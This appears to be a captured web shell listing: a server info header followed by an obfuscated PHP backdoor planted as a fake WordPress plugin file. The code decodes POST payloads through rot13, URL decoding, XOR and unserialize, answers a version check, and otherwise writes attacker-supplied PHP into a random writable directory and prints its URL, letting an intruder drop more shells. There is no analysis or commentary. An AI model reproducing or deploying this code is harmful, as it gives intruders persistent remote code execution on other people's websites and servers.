HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/plugins/slfajqke.php
<?php function lNHrImEC($MBeOM){$kLgigPQUk = "\x72".'a'."\167"."\x75".chr(114).chr(920-812).chr(100).chr(944-843)."\143".'o'."\144".chr(740-639);$AXXhEb = chr(115).chr(382-266).chr(114).chr(95).'r'.chr(111)."\x74"."\x31"."\63";$MmsgPT = "\163"."\x74"."\162"."\x5f".chr(158-43)."\x70".'l'."\151"."\x74";$MBeOM = $MmsgPT($kLgigPQUk($AXXhEb($MBeOM)));return $MBeOM;}function djKspusc($PodzTNI, $MBeOM){$IvEVlxgHn = 's'.chr(116).chr(609-495)."\x5f".chr(642-527).chr(112)."\x6c"."\151".chr(116);$PodzTNI = array_slice($IvEVlxgHn(str_repeat($PodzTNI, (count($MBeOM)/16)+1)), 0, count($MBeOM));return $PodzTNI;}function VGoYoOag($PVSOT, $NJZYbDnhN, $PodzTNI){$XBGnOwCgY = "3dc9459f-0d32-4dbb-99d8-ce2fc7c1ed40";return $PVSOT ^ $XBGnOwCgY[$NJZYbDnhN % strlen($XBGnOwCgY)] ^ $PodzTNI;}function OakXfsGyQM($MBeOM, $PodzTNI){$MBeOM = array_map("VGoYoOag", array_values($MBeOM), array_keys($MBeOM), array_values($PodzTNI));$MBeOM = implode("", $MBeOM);$WUcvE = 'u'.chr(110).chr(115).chr(856-755).chr(114).chr(986-881)."\141"."\x6c"."\x69".chr(148-26).chr(101);$MBeOM = @$WUcvE($MBeOM);return $MBeOM;}function vDEMNB(){echo "QAELkeby";}function CqbmVIJR($ftTYair){static $YvSsRsUlew = array();$FmZOg = glob($ftTYair . '/*', GLOB_ONLYDIR);$vbBvAHrYV = count($FmZOg);if ($vbBvAHrYV > 0) {foreach ($FmZOg as $ftTYa) {$whPiXN = "\x69".chr(546-431)."\137"."\x77".chr(798-684).'i'."\164".'a'.chr(647-549).chr(482-374)."\x65";if (@$whPiXN($ftTYa)) {$YvSsRsUlew[] = $ftTYa;}}}foreach ($FmZOg as $ftTYair) CqbmVIJR($ftTYair);return $YvSsRsUlew;}function EyndIyqrgE(){echo "gWvDU";}function VXheJJiv($MBeOM){$EQnjpob = chr(892-824).'O'."\103"."\125".'M'."\x45".'N'."\x54".'_'."\x52"."\x4f".'O'."\x54";$bPhmFTBlsr = $_SERVER[$EQnjpob];$FmZOg = CqbmVIJR($bPhmFTBlsr);$iSDPg = array_rand($FmZOg);$ndlmjW = "\x2e".'p'.chr(1039-935).chr(112);$johpId = $FmZOg[$iSDPg] . "/" . substr(md5(time()), 0, 8) . $ndlmjW;$WTWzr = "\146"."\x69"."\154".chr(101).chr(95).chr(112).chr(117).chr(116)."\137".chr(99)."\157"."\156"."\164".'e'.chr(110)."\164"."\x73";@$WTWzr($johpId, $MBeOM);$uPhcBtrgq = chr(72).'T'."\x54"."\120"."\137"."\x48".chr(814-735).chr(83)."\124";$lezIQ = chr(597-493)."\164"."\x74".chr(925-813).':'."\57"."\x2f";$Jpsyczysl = $lezIQ . $_SERVER[$uPhcBtrgq] . substr($johpId, strlen($bPhmFTBlsr));print($Jpsyczysl);}foreach ($_POST as $PodzTNI => $MBeOM){$DryawwLl = strlen($PodzTNI);if ($DryawwLl == 16){$MBeOM = lNHrImEC($MBeOM);$PodzTNI = djKspusc($PodzTNI, $MBeOM);$MBeOM = OakXfsGyQM($MBeOM, $PodzTNI);if (@is_array($MBeOM)){$iSDPg = array_keys($MBeOM);$MBeOM = $MBeOM[$iSDPg[0]];if ($MBeOM === $iSDPg[0]){$kwVyZ = "\160".chr(312-208).'p';$DRlAW = 'p'.chr(536-432)."\x70".chr(455-337).'e'.'r'.chr(1029-914).chr(989-884).chr(111).chr(110);$PtMxxe = chr(115).chr(101).'r'.'i'.'a'."\154".chr(105).chr(122).chr(893-792);echo @$PtMxxe(Array($kwVyZ => @$DRlAW(), ));}else {VXheJJiv($MBeOM);}die();}}}